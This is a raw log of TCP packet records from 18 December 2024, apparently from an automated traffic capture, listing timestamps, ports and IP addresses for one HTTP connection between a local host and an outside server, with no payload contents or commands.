Dec 18, 2024 14:07:43.084436893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.085154057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.085202932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.085223913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.085932016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.086077929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.086138964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.086783886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.086858034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.086905003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.087693930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.087707043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.087738037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.088489056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.088501930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.088546038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.089308977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.089464903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.089513063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.090091944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.090105057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.090135098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.090924025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.091058969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.091108084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.091768026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.091782093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.091845036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.092592955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.092634916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.092674971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.093395948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.093444109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.093518972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.094294071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.094342947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.094444990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.095033884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.095061064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.095113993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.095966101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.096216917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.096307993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.097043037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.097084999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.097099066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.097664118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.097676992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.097709894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.098320961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.098387003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.098438978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.099186897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.099498034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.099546909 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.100171089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.100223064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.100300074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.100883961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.100931883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.100980997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.101696968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.101985931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.102057934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.102471113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.102551937 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.102615118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.103319883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.103351116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.103384972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.104264975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.104312897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.104366064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.104979038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.106585979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.196729898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.196744919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.196815014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.196964979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.197290897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.197340965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.197479963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.198153019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.198220015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.198272943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.198983908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.199002981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.199050903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.199640036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.199683905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.199832916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.200630903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.200684071 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.200911045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.201468945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.201482058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.201522112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.201886892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.201931000 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.201951981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.202450037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.202497005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.202560902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.203279972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.203332901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.203382015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.204237938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.204252005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.204302073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.204967022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.205039978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.205095053 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.205745935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.205789089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.205838919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.206562042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.210602999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.264695883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.264759064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.264849901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.265084028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.265213966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.265368938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.265918016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.266103983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.266154051 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.266848087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.266990900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.267038107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.267374039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.267843962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.267894030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.267944098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.268696070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.268749952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.268793106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.269552946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.269787073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.269831896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.269850016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.269866943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.270570040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.270643950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.270690918 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.271367073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.271486998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.271533966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.272358894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.272372007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.272424936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.273104906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.273179054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.273225069 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.273875952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.273943901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.273988008 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.274687052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.274756908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.274801970 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.275537014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.275620937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.275662899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.276349068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.276434898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.276627064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.277275085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.277352095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.277405977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.278000116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.278137922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.278181076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.279023886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.279160976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.279263020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.279896975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.279975891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.280627012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.280674934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.281033993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.281383991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.281436920 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.281548977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.282212019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.282258034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.282319069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.282358885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.282955885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.283083916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.283130884 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.283799887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.283979893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.284461021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.284603119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.284710884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.284789085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.285415888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.285603046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.285650015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.286432028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.286560059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.286838055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.287338972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.287425041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.287472963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.287930012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.288134098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.288178921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.288827896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.288851976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.288907051 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.289671898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.289688110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.289741993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.290465117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.290477037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.290529966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.291215897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.291388988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.291445017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.292090893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.292123079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.292172909 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.293054104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.293071985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.293128967 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.293680906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.293852091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.294148922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.294503927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.294713020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.294773102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.295473099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.295486927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.295567989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.296251059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.296428919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.296473980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.297002077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.347052097 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.388175964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.388283014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.388365984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.388550997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.388708115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.388755083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.388768911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.389509916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.389624119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.389677048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.390429020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.390443087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.390491962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.391179085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.391227007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.391252995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.392000914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.392046928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.392096043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.392831087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.392877102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.392936945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.393690109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.393702984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.393738031 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.394531965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.394546032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.394612074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.395356894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.395406961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.395431042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.396140099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.396188021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.396229982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.397102118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.397142887 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.397154093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.397767067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.397814989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.397875071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.398575068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.398626089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.456672907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.456731081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.456787109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.457139969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.457151890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.457190037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.457940102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.458240032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.458338022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.458446026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.459191084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.459240913 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.459320068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.459847927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.459894896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.459943056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.460757017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.460808039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.460827112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.461575985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.461627960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.461900949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.462045908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.462086916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.462815046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.462918997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.462970018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.463816881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.463829041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.463866949 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.464446068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.464457989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.464494944 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.465029955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.465109110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.465157986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.465897083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.465955973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.466001034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.466711044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.466766119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.466811895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.467499971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.467591047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.467634916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.468372107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.468441010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.468488932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.469255924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.469268084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.469305038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.470024109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.470130920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.470175028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.470912933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.471040964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.471085072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.472054958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.472151995 CET	80	49707	176.113.115.178	192.168.2.8
